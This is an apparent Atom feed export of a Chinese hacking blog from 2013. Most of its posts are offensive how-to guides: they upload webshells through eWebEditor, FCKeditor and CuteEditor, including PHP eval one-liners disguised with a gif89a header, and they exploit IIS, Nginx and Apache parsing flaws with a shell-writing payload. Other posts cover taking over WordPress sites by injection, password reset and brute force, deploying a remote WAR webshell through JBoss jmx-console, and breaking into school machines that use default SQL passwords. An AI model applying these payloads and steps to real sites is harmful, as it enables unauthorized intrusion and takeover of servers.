<p>&lt;input type=submit name=btnSubmit value=” 提 交 “&gt;<br>&lt;input type=reset name=btnReset value=” 重 填 “&gt;<br>&lt;/form&gt;<br>&lt;/BODY&gt;&lt;/HTML&gt;</p>
<p>(二)ASPX版：</p>
<p>受影响文件：eWebEditorNet/upload.aspx</p>
<p>利用方法：添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click();就能得到shell</p>
<p>嘿嘿….绕过了限制……成功的上传了ASPX文件….</p>
<p>文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功…..</p>
<p>(三)PHP版</p>
<p>关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过</p>
<p>利用织梦的gif89a漏洞倒可以实现php一句话上传，然后再上传webshell。</p>
<p>备注：织梦的gif89a漏洞，准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞，gif89a文件头欺骗。DEDECMS中在上传</p>
<p>拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。</p>
<p>gif89a</p>
<p>&lt;?php</p>
<p>phpinfo();</p>
<p>?&gt;</p>
<p>RFI</p>
<p>gif89a</p>
<p>&lt;?php</p>
<p>eval($_POST[c]);</p>
<p>?&gt;</p>
<p>利用gif89a进行了欺骗。现在上传就可以成功了.然后有php一句话客户端连接.</p>
<p>(四)JSP版</p>
<p>上传漏洞</p>
<p>影响版本：漏洞存在于ewebeditor jsp版 1.4以下版本，漏洞有两个版本。</p>
<p>原理：第一个是使用savefile.jsp来进行文件上传操作的，从代码中可以看出，程序并没做任何上传过滤，这样我们就可以直接上传</p>
<p>一个JSPShell了。另一个版本可能是被人修改过，把代码转成了servlet，不能看到代码，但是利用方法却大同小异。</p>
<p>利用方法：我们先找一个1.4版本以下的ewebeditor JSP上传页面，选择好一个JSPShell。这个ewebeditor是没有提交按钮的，所以这</p>
<p>里涉及到一个小技巧，就是在上传的对话框中敲下回车，大约过半分钟，就可以查看网页的源文件来寻找我们的Webshell了。</p>
<p>这个JSP和PHP一样,如果系统权限没有特意去设置的话,默认我们得到webshell是system的权限,那么…^_^</p>
<p>二:ewebeditornet 漏洞利用</p>
<p>默认上传地址:</p>
<p><a>www.test.com/ewebeditornet/upload.aspx</a><br>可以直接上传一个cer的木马</p>
<p>在无法上传的情况下</p>
<p>可以地址栏构造以下代码: javascript:lbtnUpload.click();</p>
<p>然后查看源代码:</p>
<p>找到uploadsave 找到地址</p>
<p>默认传到uploadfile这个文件夹里</p>
<p>(漏洞修补: 可以在iss里直接把upload文件夹的执行权限选择无. )</p>
<p>三:fckeditor 漏洞利用</p>
<p><a><a href="http://www.test.com/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp" target="_blank" rel="external">http://www.test.com/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp</a></a>?</p>
<p>Command=FileUpload&amp;Type=Image&amp;CurrentFolder=/<br>就把文件名字段改成NEWfile 选择文件名可定义<br>上传过后在/userfiles/image/找文件</p>
<p>上传任意文件:</p>
<p>fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=connectors/asp/connector.asp</p>
<p>根据网站所使用不同语言自己改这个地址.</p>
<p>FCKeditor的JSP版漏洞</p>
<p><a><a href="http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector" target="_blank" rel="external">http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector</a></a>?</p>
<p>Command=FileUpload&amp;Type=Image&amp;CurrentFolder=%2F</p>
<p><a><a href="http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector" target="_blank" rel="external">http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector</a></a>?</p>
<p>Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=%2F<br>上传shell的地址:<br><a><a href="http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html" target="_blank" rel="external">http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html</a></a>?</p>
<p>Type=Image&amp;Connector=connectors/jsp/connector</p>
<p>四：southidceditor</p>
<p>1.</p>
<p><a><a href="http://www.xhkjit.com/admin/southidceditor/datas/southidceditor.mdb" target="_blank" rel="external">http://www.xhkjit.com/admin/southidceditor/datas/southidceditor.mdb</a></a></p>
<p><a><a href="http://www.xhkjit.com/admin/southidceditor/popup.asp" target="_blank" rel="external">http://www.xhkjit.com/admin/southidceditor/popup.asp</a></a></p>
<p><a><a href="http://www.xhkjit.com/admin/southidceditor/admin/admin_login.asp" target="_blank" rel="external">http://www.xhkjit.com/admin/southidceditor/admin/admin_login.asp</a></a></p>
<p>2.southidceditor存在一个可以抓包上传的漏洞</p>
<p>Google:inurl:(admin/SouthidcEditor/PopUp.asp)</p>
<p>nc抓包自己玩玩吧.<br>五：bigcneditor(这个我没有找到具体的漏洞,网上的文章也都比较不负责任,谁知道的请告诉我下,谢谢)</p>
<p>这个页不多说了</p>
<p>原理都差不多！</p>
<p>防范方法很简单就不多讲了，</p>
<p>六：CuteEditor编辑器通杀漏洞</p>
<p>CuteEditor编辑器是.NET下最常用的一个编辑器..<br>十分的强大..也许是因为他太强了 HEHE ..<br>我们随便找到一个装有此编辑器的网站 点击插入图片 FLASH 影音文件 什么的都可以出来一个对话框.<br>在这个对话框里可以游览用户所上传的数据还有目录..郁闷的是居然可以新建..移动..修改..<br>在官网上甚至连删除都弄出来了..呵呵.. 我们这次主要是利用2003服务器的特性来进行利用..<br>大家都知道在2003的IIS环境下 如果你建一个 XXX.asp 文件夹的话 里面不管放什么其他类型的文件<br>在IIS里都会通过文件夹名的类型来解析 也就是说你传一个JPG的东西到 XXX.ASP下也会以ASP脚本<br>来进行解析..我们这里就利用他这一特性…首先我们随便找一个编辑器 然后选择插入图片吧(如图1)..插入其他的<br>东西都行..只要能新建文件目录..或者可以移动目录..</p>
<p>看这里就有新建文件夹等等一些操作的按钮我们新建一个..如果新建不能用可以试试移动文件夹把以有的文件夹名改成 XXX.asp形</p>
<p>式..</p>
<p>好了.我们新建一个 <a>www.asp</a> 文件夹.</p>
<p>确定..我们的文件夹就建好了..然后点击进入该文件夹 (</p>
<p>然后到了最关键的…我们上传文件..<br>用插入图片是上传不了的..他会检测是不是正常的图片..<br>可以试试 插入 FLASH<br>或者插入 视频 音乐文件..我们这里就插入视频.. 然后直接把 我们要传上去的马后缀改为 .avi形式<br>然后进入我们刚才新建的那个目录 然后上传 .. 文件就上去了</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>常见的一些编辑器:ewebeditor ewebeditornet fckeditoreditor southidceditor SouthidcEditor bigcneditor</p>
<p>其实如果大家多关注编辑器的话,会有惊人的发现,尤其是jsp,php版的,一个]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[各大Web服务器解析漏洞总结]]></title>
    <link href="http://doubles.me/2013/02/07/370/"/>
    <id>http://doubles.me/2013/02/07/370/</id>
    <published>2013-02-07T11:07:38.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>各大Web服务器解析漏洞总结<br>From:90sec</p>
<p>[+]IIS 6.0</p>
<p>&nbsp;</p>
<p><pre>目录解析：/xx.asp/xx.jpg  xx.jpg可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码 IIS6.0会将 xx.jpg 解析为 asp 文件。后缀解析：/xx.asp;.jpg     /xx.asp:.jpg(此处需抓包修改文件名) IIS6.0都会把此类后缀文件成功解析为 asp 文件。默认解析：/xx.asa    /xx.cer   /xx.cdx IIS6.0默认的可执行文件除了 asp 还包含这三种此处可联系利用目录解析漏洞/xx.asa/xx.jpg 或/xx.cer/xx.jpg 或 xx.asa;.jpg</pre><br>&nbsp;</p>
<p>[+]IIS 7.0/IIS 7.5/Nginx &lt;8.03</p>
<p>&nbsp;</p>
<p><pre>IIS 7.0/IIS 7.5/Nginx&lt;8.03在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。常用利用方法：将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后，避免破坏图片文件头和尾  e.g.  copy xx.jpg/b + yy.txt/a xy.jpg ######################################/b 即二进制[binary]模式/a 即ascii模式 xx.jpg正常图片文件  yy.txt 内容&lt;?PHP fputs(fopen(‘shell.php’,’w’),’&lt;?php eval($_POST[cmd])?&gt;’);?&gt;意思为写入一个内容为&lt;?php eval($_POST[cmd])?&gt;名称为shell.php的文件######################################找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上/xx.php 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 密码 cmd</pre><br>&nbsp;</p>
<p>[+]Nginx &lt;8.03</p>
<p>&nbsp;</p>
<p><pre>在Fast-CGI关闭的情况下，Nginx&lt;8.03依然存在解析漏洞在一个文件路径(/xx.jpg)后面加上%00.php会将/xx.jpg%00.php解析为 php 文件。</pre><br>&nbsp;</p>
<p>[+]Apache</p>
<p>&nbsp;</p>
<p><pre>后缀解析：test.php.x1.x2.x3  Apache将从右至左开始判断后缀，若x3非可识别后缀，再判断x2，直到找到可识别后缀为止，然后将该可识别后缀进解析  test.php.x1.x2.x3 则会被解析为php 经验之谈：php|php3|phtml 多可被Apache解析</pre><br>&nbsp;</p>
<p>[+]其他一些可利用的</p>
<p>&nbsp;</p>
<p><pre>在windows环境下，xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点，这也是可以被利用的！在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可得到shell。我记得FckPhp2.6就存在加空格绕过的漏洞。{Linux主机中不行，Linux允许这类文件存在}如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说的，当初我并不知道），且可以被上传，那可以尝试在.htaccess中写入:&lt;FilesMatch“shell.jpg”&gt;SetHandler application/x-httpd-php &lt;/FilesMatch&gt; shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件</pre><br>&nbsp;</p>
<p>[+]lighttpd</p>
<p>&nbsp;</p>
<p><pre>xx.jpg/xx.php  [Addby loser]</pre><br>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>各大Web服务器解析漏洞总结<br>From:90sec</p>
<p>[+]IIS 6.0</p>
<p>&nbsp;</p>
<p><pre>目录解析：/xx.asp/xx.jpg  xx.jpg可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码 IIS]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[如何拿wordpress站 汇总]]></title>
    <link href="http://doubles.me/2013/02/05/364/"/>
    <id>http://doubles.me/2013/02/05/364/</id>
    <published>2013-02-05T13:49:41.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>现在wp站点满地都是, 虽然都是个人博客, 但可利用的地方就很多了, 而且最主要的是, 进了wp后台就相当于得到了webshell!!<br>1) 很多大站的站长都会有个个人博客, 在通过数据库查到其密码后而目标站的密码已更改, 各种组合失败, 这时尝试一下个人博客, 有很大的几率是没有更改密码的.</p>
<p>2) 国内外极大部分的大牛们的博客都是wordpress架设的, 而且搞下大牛们的wp站也是装B的好方法. xD</p>
<p>3) wp站是旁注的入手点!!</p>
<p>4) 1337和exploit-db天天有人爆插件漏洞, 得手几率一直在上升, 而且插件都是开源的, 如果目标站的插件没有漏洞, 你也可以自己针对对方的插件自己挖洞 ;D</p>
<p>5) 因为wp的加密太高端, 我遇到的hash解密全部失败.. 很蛋疼.. 前两天看不记得在哪里看到有人说有wp的0day直接爆明文, 呃, 震惊了一下, 太扯了, 不过还是看了一下wp, 发现wp_users里还有个user_activation_key, 恩, 等下要讲一下这个的利用方法.</p>
<p>6) 因为我不再用wp了 xD  请大家支持国产 sa blog, typecho, emlog, z-blog, pjblog 等等 ^^</p>
<p>——接下来就开始详述拿wp方法了..——</p>
<p>1, 社工得到站长密码, 登陆仪表盘拿shell.</p>
<ul>
<li>这个方法的关键就在社工的地方, 如果得到了密码剩下就基本没问题了. [这里就不叙述社工的细节了, 太多了..]不过sinapp上的wordpress里主题和插件是不允许在线修改的, 所以还需要其他方式. [不过拿sinapp上的wp站也没什么用, 纯为装X就没有必要了. 或许会是某位大牛写了篇需要验证的文章, 而你需要去读这篇文章. 在从后台直接查看.]<br>-后台拿shell太简单, 就不说了.</li>
</ul>
<p>2, 旁注.. 这可老生常谈了.. 就不详述了..</p>
<p>3, 呃在补充一下第一条, 也不仅仅适用于wp, 有时确认了一个目标站站长的常用密码, 使用失败的情况下, 可以尝试一下ftp,ssh之类的地方, 查一查2级域名, bing一下域名, 惊喜总在不经意间来临.</p>
<p>4, 在就是插件漏洞了, 这个现在虽然不算很多, 但也一直在增长, 而且有一点是你可以针对目标站所使用的插件来研究一下. 当然, 使用人数多的插件基本都被很多人检测过了, 但有许多冷门插件用的人还是很多的.</p>
<ul>
<li>这里在来个tip吧, 在主页查看源文件, ctrl+f一下plugins, 跟在wp-content后面的, 在他后面的名字[可能是文件夹也可能是文件]就是一个插件, google一下肯定会得到. 而有些插件在首页是不调用的, 或许在comments页里, 或许在文章里等等, 需要自己去探索了.<br>-现在在说下插件有漏洞的情况下.<br>[tip:有个俄罗斯人写的程序Wordpress P&amp;E可以搜索目标wp站的插件, 并注明是否有漏洞, 不过只有153个插件, 然后1337有个程序可以搜索joomla和wp等站的危险插件, 是php程序, 在sourceforge就有的下, 大家可以去下载一个. 然后就是在1337,exploit-db,goole上搜索该插件是否有漏洞了.]</li>
</ul>
<p>记得09年时wp爆过一个重置管理口令的漏洞, 现在用法差不多, 也是我刚刚发现, 网上也没找到有讲述关于这个的.</p>
<p>前提:是在有注入点, 密码解不开, 无法output的情况下获取shell的情况下使用的.</p>
<p>这个其实也不算漏洞, 就是结合起来能利用到而已. 因为wp的找回密码系统对管理员账户同样生效, 而发送至邮箱的key在数据库中同样保存下来, 所以就可以直接更改管理员密码 xD</p>
<p>步骤如下:<br>1) inject出wp-users表里ID为1[或许更改, 随机应变]的user_login或user_email; [未知管理员后台账户的情况下]<br>2) 在wp-login.php处点击 ‘忘记密码’ [lost password],如果被隐藏或没有可以直接访问wp-login.php?action=lostpassword页面, 输入管理员账户或管理员邮箱, 点击’获取新密码’ .<br>3) 再次inject出wp-users表里ID为1或目标值的user_activation_key.<br>4) 访问wp-login.php?action=rp&amp;key=<span style="color: red;">KEY</span>&amp;login=NAME<br>5) 将KEY替换为注射出的user_activation_key的值, 将NAME替换为管理员账号并访问该页面.<br>-例:<a href="http://blog.adm1n.org/wp-login.php?action=rp&amp;key=" target="_blank" rel="external">http://blog.adm1n.org/wp-login.php?action=rp&amp;key=</a><span style="color: red;">ixUrwKCCycGqlGwWQ6vx</span>&amp;login=Adm1n_oRg<br>6) 输入新密码, 要7位以上哦.</p>
<p>&nbsp;</p>
<p>简单点就是</p>
<p>1.社工库，进后台，编辑模板拿shell</p>
<p>2.旁注</p>
<p>3.扫插件，然后1337,exploit-db上找插件漏洞。</p>
<p>使用wordpressp&amp;e 来扫插件。俄文，估计看不懂，不过没关系，简单的很。</p>
<p>下载<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/10/BackTrack5.zip" target="_blank" rel="external"> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/02/WordpressPE.zip" target="_blank" rel="external">WordpressPE</a> </a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130205215048.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130205215048.png" alt="QQ20130205215048"></a></p>
<p>4.使用wpscan</p>
<p><a href="http://houwenhui.gotoip2.com/archives/742" target="_blank" rel="external">http://houwenhui.gotoip2.com/archives/742</a></p>
<p>1.安装svn</p>
<blockquote>
<p>sudo apt-get install subversion<br>2.通过svn安装wpscan<br>svn checkout <a href="http://wpscan.googlecode.com/svn/trunk/" target="_blank" rel="external">http://wpscan.googlecode.com/svn/trunk/</a> ./wpscan<br>3.安装依赖包<br>cd wpscan</p>
<p>cat README<br>(根据提示安装，不同平台的安装是不同的。我这里是安装ubuntu的)<br>sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby</p>
<p>sudo gem install typhoeus xml-simple<br>提示：sudo: gem: command not found</p>
</blockquote>
<p>解决：</p>
<blockquote>
<p>sudo apt-get install rubygems</p>
<p>sudo gem install typhoeus xml-simple</p>
<p>示例：</p>
<p>Do ‘non-intrusive’ checks…</p>
<p>ruby ./wpscan.rb –url www.example.com</p>
<p>Do wordlist password brute force on enumerated users using 50 threads…</p>
<p>ruby ./wpscan.rb –url www.example.com –wordlist darkc0de.lst –threads 50</p>
<p>Do wordlist password brute force on the ‘admin’ username only…</p>
<p>ruby ./wpscan.rb –url www.example.com –wordlist darkc0de.lst –username admin</p>
<p>Generate a new ‘most popular’ plugin list, up to 150 pages…</p>
<p>ruby ./wpscan.rb –generate_plugin_list 150</p>
<p>Enumerate instaled plugins…</p>
<p>ruby ./wpscan.rb –url www.example.com –enumerate p<br>5.使用后台密码暴力破解。</p>
</blockquote>
<p><a href="http://www.bohaishibei.com/?author=2" target="_blank" rel="external"> </a></p>
<div><br><br>WorkPress使用了一个”author”的参数。这个参数接受一个数字作为值，并且返回这个用户id对应的页面。<br>例如：<a href="http://www.hack1990.com/?author=1" target="_blank" rel="external">http://www.xxxx.com/?author=1</a><br>存在的问题是：<br>1、用户ID是顺序递增的。<br>2、如果这个ID的用户存在，则会返回包含有这个用户用户名的页面。<br>这些问题可能导致下面的攻击：<br>1、可以通过请求检验到这个用户的ID是否存在<br>2、返回的页面泄漏了和这个用户ID对应的用户名。<br>攻击者可能会遍历一些ID。这样就可以枚举出系统内所有的用户名。<br>受影响的版本：<br>2.6, 3.1, 3.1.1, 3.1.3, 3.2-beta2以及其他的版本也可能受影响。<br>验证原理就很简单了：<br>请求<a href="http://www.hack1990.com/?author=1" target="_blank" rel="external">http://www.xxxx.com/?author=1</a>(这里1可以替换为其他数字)<br>然后在返回的页面中过滤用户名的那个地方(注意不同语言版本的差别)，<br><br>&nbsp;<br><br>这样可以获取到用户名，然后载入脚本进行破解。破解脚本比较多。msf里也有<br><br></div>]]></content>
    <summary type="html">
    <![CDATA[<p>现在wp站点满地都是, 虽然都是个人博客, 但可利用的地方就很多了, 而且最主要的是, 进了wp后台就相当于得到了webshell!!<br>1) 很多大站的站长都会有个个人博客, 在通过数据库查到其密码后而目标站的密码已更改, 各种组合失败, 这时尝试一下个人博客, 有很]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[继续折腾一下openshift]]></title>
    <link href="http://doubles.me/2013/02/01/352/"/>
    <id>http://doubles.me/2013/02/01/352/</id>
    <published>2013-02-01T16:23:23.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>由于在做一个html5的游戏，需要用到node.js,可能自己会写完，但是更大的可能是懒的写了。</p>
<p>先搞一个如何绑定域名的。</p>
<p>openshift要使用自己的rhc client来管理，安装方式可以参考这里：</p>
<p><a href="https://access.redhat.com/knowledge/docs/en-US/OpenShift/2.0/html/Getting_Started_Guide/sect-Getting_Started_Guide-OpenShift_Client_Tools-Installing_Client_Tools.html#sect-Getting_Started_Guide-Installing_on_Windows" target="_blank" rel="external">windows</a>，linux可以进去后重新选择。</p>
<p>RubyInstaller ，Git其实就是安装这2个。</p>
<p>然后打开命令行,shuru :</p>
<pre><code>gem install rhc`
可能没反应，等一会就行了。&lt;/pre&gt;
&lt;pre style=&quot;color: #333333;&quot;&gt;[![QQ20130202003621](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202003621.png)

](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202003621.png)&lt;/pre&gt;
&lt;pre&gt;`然后输入rhc setup，继续敲用户名和密码，可以进入管理。
具体的可以参考这里：[http://www.freehao123.com/openshift-redhat/2/
](http://www.freehao123.com/openshift-redhat/2/)，我这就不多说了，绑一下域名，先在dnspod里给自己域名添加一个cname，这里解析到proxy.chenxing.org.cn，先弄一个在线代理，虽然github已经可以访问了，但是还是方便点，用处你懂的。
[![QQ20130202002903](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202002903.png)](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202002903.png)
</code></pre><pre style="color: #333333;"></pre>
<pre>然后再输入   $ rhc alias add test proxy.chenxing.org.cn
绑定成功。

[![QQ20130202002921](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202002921.png)
](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202002921.png)然后找到一个在线代理给挂上。咋咋，顺手改了几个字
百度：glype，就可以找到。可以加入收藏夹哦，速度很快的说。
[http://proxy.chenxing.org.cn](http://proxy.chenxing.org.cn/)

[![QQ20130202022124](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202022124.png)](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202022124.png) [![QQ20130202022155](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202022155.png)](http://7xnueu.com1.z0.glb.clouddn.com/2013/02/QQ20130202022155.png)</pre>]]></content>
    <summary type="html">
    <![CDATA[<p>由于在做一个html5的游戏，需要用到node.js,可能自己会写完，但是更大的可能是懒的写了。</p>
<p>先搞一个如何绑定域名的。</p>
<p>openshift要使用自己的rhc client来管理，安装方式可以参考这里：</p>
<p><a href="http]]>
    </summary>
    
      <category term="云" scheme="http://doubles.me/tags/%E4%BA%91/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[忙活好久了，总结点东西]]></title>
    <link href="http://doubles.me/2013/01/15/342/"/>
    <id>http://doubles.me/2013/01/15/342/</id>
    <published>2013-01-15T16:07:27.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>学校的安全还是完全靠请的公司啊。</p>
<p>每台电脑划分一个vlan，cain挂了。</p>
<p>但是俄们是用友的娃，每台电脑上都装u8.这sql的安装。。</p>
<p>然后发现了，</p>
<p>sa/null 老师的机子</p>
<p>sa/123 童鞋的实验室。</p>
<p>童鞋的电脑呢是不会装这个的。</p>
<p><span style="color: #ff0000;"> sql的语句呢一定要一句一句写，不能一起写掉</span></p>
<p>估到了很多额额额额。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>学校的安全还是完全靠请的公司啊。</p>
<p>每台电脑划分一个vlan，cain挂了。</p>
<p>但是俄们是用友的娃，每台电脑上都装u8.这sql的安装。。</p>
<p>然后发现了，</p>
<p>sa/null 老师的机子</p>
<p>sa/123 童鞋的实验室]]>
    </summary>
    
      <category term="吐槽" scheme="http://doubles.me/tags/%E5%90%90%E6%A7%BD/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[JBOSS育软电子政务平台]]></title>
    <link href="http://doubles.me/2013/01/15/331/"/>
    <id>http://doubles.me/2013/01/15/331/</id>
    <published>2013-01-15T11:30:12.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>学校一片的这个，一般是扫mysql弱口令，然后进后台，可是后台不知道怎么拿shell。</p>
<p>通用的方法就是利用JBOSS漏洞进入。</p>
<p><a href="http://dlinux.sinaapp.com/2013/01/15/hackjboss%e8%82%b2%e8%bd%af%e7%94%b5%e5%ad%90%e6%94%bf%e5%8a%a1%e5%b9%b3%e5%8f%b0/%e5%9b%be%e7%89%871/" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/01/1.png" alt="图片1"></a></p>
<p>后台就是这样的可是确实不好拿shell。<a href="http://dlinux.sinaapp.com/2013/01/15/hackjboss%e8%82%b2%e8%bd%af%e7%94%b5%e5%ad%90%e6%94%bf%e5%8a%a1%e5%b9%b3%e5%8f%b0/qq%e6%88%aa%e5%9b%be20130115212113/" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/01/QQ20130115212113.png" alt="QQ20130115212113"></a></p>
<p>JBOSS默认配置会有一个后台漏洞，漏洞发生在<strong>jboss.deployment命名空间</strong></p>
<p>中的<strong>addURL()函数,</strong>该函数可以远程下载一个war压缩包并解压</p>
<p>访问<a href="http://www.safe3.com.cn:8080/jmx-console/" target="_blank" rel="external">http://www.safe3.com.cn:8080/jmx-console/</a> 后台，如下图</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/01/133014QSP.jpg" alt="" title="2010010816232452"></p>
<p>下拉找到如下图所示</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/01/133015m33.jpg" alt="" title="2010010816245041"></p>
<p>点击flavor=URL,type=DeploymentScanner进入</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/01/133015ql5.jpg" alt="" title="2010010816281370"></p>
<p>在输入框中写入war压缩文件webshell的url地址，如上图</p>
<p><a href="http://test-mozutaba.rhcloud.com/job.war" target="_blank" rel="external">http://test-mozutaba.rhcloud.com/job.war</a></p>
<p>点击invoke执行界面获得一个jsp的webshell，如下图，shell拿一堆了。</p>
<p>http：//xxx.com/job/index.jsp</p>
<p>&nbsp;</p>
<p><a href="http://dlinux.sinaapp.com/2013/01/15/hackjboss%e8%82%b2%e8%bd%af%e7%94%b5%e5%ad%90%e6%94%bf%e5%8a%a1%e5%b9%b3%e5%8f%b0/qq%e6%88%aa%e5%9b%be20130115212736/" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/01/QQ20130115212736.png" alt="QQ20130115212736"></a></p>
<p>&nbsp;</p>
<p><strong>临时漏洞修补办法：</strong>给jmx-console加上访问密码</p>
<p>1.在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件 去掉 security-constraint 块的注释，使其起作用</p>
<p>2.编辑WEB-INF/classes/jmx-console-users.properties或server/default/conf/props/jmx-console-users.properties (version &gt;=4.0.2)和 WEB-INF/classes/jmx-console-roles.properties</p>
<p>或server/default/conf/props/jmx-console-roles.properties(version &gt;=4.0.2) 添加用户名密码</p>
<p>3.编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释 ，security-domain值的映射文件为 login-config.xml （该文件定义了登录授权方式）</p>
<p>war文件可以在这里下载。解压rar就是war了。</p>
<p><a href="http://dlinux.sinaapp.com/2013/01/15/hackjboss%e8%82%b2%e8%bd%af%e7%94%b5%e5%ad%90%e6%94%bf%e5%8a%a1%e5%b9%b3%e5%8f%b0/job/" target="_blank" rel="external">job</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>学校一片的这个，一般是扫mysql弱口令，然后进后台，可是后台不知道怎么拿shell。</p>
<p>通用的方法就是利用JBOSS漏洞进入。</p>
<p><a href="http://dlinux.sinaapp.com/2013/01/15/hackjboss%e8%]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[彩虹表的学习]]></title>
    <link href="http://doubles.me/2013/01/15/328/"/>
    <id>http://doubles.me/2013/01/15/328/</id>
    <published>2013-01-15T10:56:21.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>今天抓了个hash，就去网上找了找彩虹表。以前都是看120g，60g，1.5t不敢下。现在发现怎么也要准备一个了，把片片删掉，来放裤裤和这个吧。</p>
<p># </p>
<h1 id="免费彩虹表破解工具汇总-收费彩虹表下载（种子）-LM和NTLM小科普"><a href="#免费彩虹表破解工具汇总-收费彩虹表下载（种子）-LM和NTLM小科普" class="headerlink" title="免费彩虹表破解工具汇总+收费彩虹表下载（种子）+LM和NTLM小科普"></a>免费彩虹表破解工具汇总+收费彩虹表下载（种子）+LM和NTLM小科普</h1><div><br><div id="blog_text"><br><br>&nbsp;<br><br>常见的三种<a href="http://hi.baidu.com/hcocoa/blog/item/c03eefda3f11176fd1164e88.html" target="_blank" rel="external">彩虹表</a>工具：<br><br><strong>1.ophcrack（</strong><a href="http://ophcrack.sourceforge.net/" target="_blank" rel="external"><strong>http://ophcrack.sourceforge.net/</strong></a><strong>）</strong><br><br>&nbsp;<br><div><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/01/125624KyI.jpg" alt="免费彩虹表破解工具汇总+收费彩虹表下载（种子）+LM和NTLM小科普 - Wei - 海上升明月 天涯共此时"></div><br>我最常用的 界面友好 与众不同 压缩储存 有自己独特的<a href="http://hi.baidu.com/hcocoa/blog/item/c03eefda3f11176fd1164e88.html" target="_blank" rel="external">彩虹表</a>结构 还有Live CD……支持的HASH类型：LM，NTLM<br><br>扩展名：乱七八糟的……<br><br>高级的表要花钱买，<a href="http://hi.baidu.com/hcocoa/blog/item/c03eefda3f11176fd1164e88.html" target="_blank" rel="external">免费的表</a>有（推荐只下2和5，要求高的可以下载3和5）：<br><br><span style="color: #008000;">我下了<a href="http://downloads.sourceforge.net/ophcrack/tables_xp_free_fast.zip" target="_blank" 